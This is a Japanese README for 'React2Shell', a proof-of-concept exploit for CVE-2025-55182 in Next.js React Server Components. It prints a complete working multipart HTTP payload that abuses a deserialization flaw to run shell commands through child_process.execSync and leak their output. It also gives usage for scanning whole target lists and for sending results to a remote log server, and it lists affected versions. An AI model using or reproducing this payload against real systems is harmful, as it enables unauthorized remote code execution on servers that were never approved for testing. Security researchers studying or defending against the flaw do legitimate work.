
React2Shell は、Next.js における脆弱な React Server Components (RSC) 実装に影響を及ぼす CVE-2025-55182 の proof-of-concept エクスプロイトです。
██████╗ ███████╗ █████╗ ██████╗████████╗██████╗ ███████╗██╗ ██╗███████╗██╗ ██╗
██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝╚════██╗██╔════╝██║ ██║██╔════╝██║ ██║
██████╔╝█████╗ ███████║██║ ██║ █████╔╝███████╗███████║█████╗ ██║ ██║
██╔══██╗██╔══╝ ██╔══██║██║ ██║ ██╔═══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║
██║ ██║███████╗██║ ██║╚██████╗ ██║ ███████╗███████║██║ ██║███████╗███████╗███████╗
╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
著者: INDRA
このプロジェクトは、教育目的、セキュリティ研究、および許可を得たペネトレーションテストのみを目的として提供されます。
作者は、本ソフトウェアの誤用または損害について一切の責任を負いません。
このエクスプロイトは、自分が所有するシステム、または明示的なテスト許可を得たシステムに対してのみ使用してください。
React2Shell は、Next.js の脆弱な React Server Components (RSC) 実装に影響する CVE-2025-55182 の概念実証 (PoC) エクスプロイトです。
このエクスプロイトは、細工されたマルチパートリクエストを送信して、脆弱なデシリアライゼーションフローを悪用し、アプリケーションのリダイレクトダイジェストレスポンスを通じてコマンド出力を抽出します。
成功した場合、エクスプロイトは実行されたコマンドの出力をターミナルに直接表示します。
Python 3.8+
依存関係をインストール:
pip install requests urllib3
.
├── exploit.py
└── README.md
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
python exploit.py -h
python exploit.py -u https://target.com
targets.txt
target1.com
target2.com
target3.com
実行
python exploit.py -f targets.txt
python exploit.py -u https://target.com -o results.txt
python exploit.py -u https://target.com -l https://your-log-server.com
python exploit.py -f targets.txt -o results.txt -l https://your-log-server.com
🚀 Loaded 42 targets (HTTP + HTTPS)
🔥 [VULNERABLE] https://target.com/
💀 Command Output →
uid=1000(node) gid=1000(node) groups=1000(node)
──────────────────────────────────────────────
許可なく本ソフトウェアをシステムに対して使用することは、地域、国、または国際法に違反する可能性があります。
作者は、いかなる誤用についても責任を負いません。
楽しいハンティングを 🕷️
| バージョン | ステータス |
|---|
| 19.0 | ⚠ 脆弱 |
| 19.1.0 | ⚠ 脆弱 |
| 19.1.1 | ⚠ 脆弱 |
| 19.2.0 | ⚠ 脆弱 |
| 19.0.1 | ✅ 修正済み |
| 19.1.2 | ✅ 修正済み |
| 19.2.1 | ✅ 修正済み |
| オプション | 説明 |
|---|
-u | ターゲット URL |
-f | ターゲットドメインを含むファイル |
-o | 脆弱なターゲットをローカルに保存 |
-l | リモートログサーバーに結果を送信 |
-h | ヘルプを表示 |